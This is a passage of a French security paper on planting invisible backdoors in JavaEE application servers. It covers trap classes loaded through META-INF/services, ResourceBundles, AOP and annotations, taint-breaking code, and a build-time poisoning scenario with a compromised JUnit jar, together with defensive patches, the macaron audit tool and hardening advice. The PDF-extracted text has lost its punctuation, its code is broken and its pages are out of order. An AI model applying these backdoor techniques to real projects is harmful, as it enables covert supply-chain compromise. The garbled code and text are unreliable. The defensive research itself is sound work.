De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

388 Porte derobee dans les serveurs drsquoapplications JavaEE

Pour resister a un audit le code de la porte derobee ne doit pas etre presentdans les sources Lrsquoapplication ne doit pas lrsquoinvoquer directement Ainsi la porteest generalement exclue des audits Pour cela il faut que la simple presence drsquounearchive consideree a tord comme saine suffise a declencher lrsquoattaque

Pour ne pas dependre de lrsquoevolution du code applicatif le code doit utiliser desattaques generiques fonctionnant quelque soit lrsquoapplication

Pour contourner les pare-feu le code doit simuler une navigation drsquoun utilisateurIl doit respecter toutes les contraintes sur les URLs les champs presents dans lesrequetes le format de chaque champ etc Il ne peut pas ajouter de nouvelles URLsou de nouveaux champs

Pour contourner les outils drsquoanalyses de byte-code1 a la recherche de variablesnon saine lors de lrsquoinvocation de traitements risques il faut utiliser une ecriture decode specifique cassant la propagation de la teinture sur les variables

La methode ci-dessous casse la propagation des teintures sur les variables simple-ment en changeant le type de la donnee

private static String sanitize(String s)

char[] buf=new char[slength ()]

Systemarraycopy(stoCharArray () 0 buf 0 slength ())

return new String(buf)

2 Implementation

Le code de la porte derobee doit suivre plusieurs etapes pour srsquoinstaller definitivementdans le serveur drsquoapplication et etre capable de detourner le flux des traitements Cesetapes sont detaillees ci-dessous par ordre chronologique

ndash Piege de lrsquoapplicationndash Augmentation des privilegesndash Injection dans le flux de traitement des requetes HTTPndash Detection de lrsquoouverturendash Communication discretendash Execution des agents

21 Les pieges

La premiere etape consiste a initialiser la porte derobee Elle doit pouvoir demarreralors que le code applicatif ignore sa presence Pour cela il faut utiliser des piegespour permettre une execution de code par la simple presence drsquoune archive JAR

1 httpsuifstanfordedu~livshitspaperspdfthesispdf

P Prados 389

Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants

Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser

ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations

22 Piege par laquo surcharge raquo

La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication

Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire

Fig 1 Enchaınement de classes

Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire

lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la

copie nrsquoen tient pas compte

390 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM

Cette approche est donc rejetee

23 Piege par laquo parametrage raquo

De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code

Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)

ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt

ndash Ressource ltparamwsddgt

La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet

Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer

Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API

Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite

Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes

1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-

Factory

2 httpjavasuncomj2se13docsguidejarjarhtml

P Prados 391

2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory

3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory

4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl

La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence

Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory

ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory

ndash META-INFservicesorgapacheaxisEngineConfigurationFactory

ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple

pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant

public static class MonSAXParserFactory

extends SAXParserFactory

private final SAXParserFactory next_

Calc next parser

private static SAXParserFactory getNextSAXParser ()

return

public SAXParserFactory ()

next_=protectctrSAXParser ()

Inject code here

public Schema getSchema ()

return next_getSchema ()

La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory

permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch

q=META-INF+providers

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

